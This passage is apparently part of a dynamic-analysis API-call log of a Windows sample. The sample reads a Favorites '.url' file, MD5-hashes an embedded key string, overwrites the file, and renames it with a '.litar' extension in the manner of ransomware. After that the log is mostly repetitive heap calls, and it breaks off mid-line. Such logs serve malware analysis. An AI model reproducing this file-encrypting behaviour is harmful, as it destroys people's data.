RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0125.935] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.935] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned=".url" [0125.935] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.937] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=134) returned 1 [0125.937] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.938] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.939] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.939] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.939] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.939] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.939] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x86, lpOverlapped=0x0) returned 1 [0125.939] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.939] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.940] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.940] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.940] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.940] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.940] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.940] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.940] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.940] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.940] GetLastError () returned 0x0 [0125.940] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.941] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.941] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.941] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0125.941] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.941] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.941] WriteFile (in: hFile=0x624, lpBuffer=0x2ff7df0*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x2ff7df0*, lpNumberOfBytesWritten=0x398fb24*=0x81, lpOverlapped=0x0) returned 1 [0125.941] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0125.941] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.941] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.941] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.941] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.941] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.941] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.941] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.941] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.941] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.941] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.941] CloseHandle (hObject=0x624) returned 1 [0125.942] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0125.942] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0125.942] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0125.942] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url.litar")) returned 1 [0125.942] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.942] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.943] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0125.943] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0125.944] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0125.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0125.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0125.944] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30843f0 [0125.944] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.949] RtlAllocateHeap (HeapHandle=0x5c0000, 